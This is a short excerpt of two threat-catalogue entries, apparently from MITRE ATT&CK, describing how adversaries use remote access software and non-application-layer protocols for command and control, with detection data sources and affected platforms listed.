Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre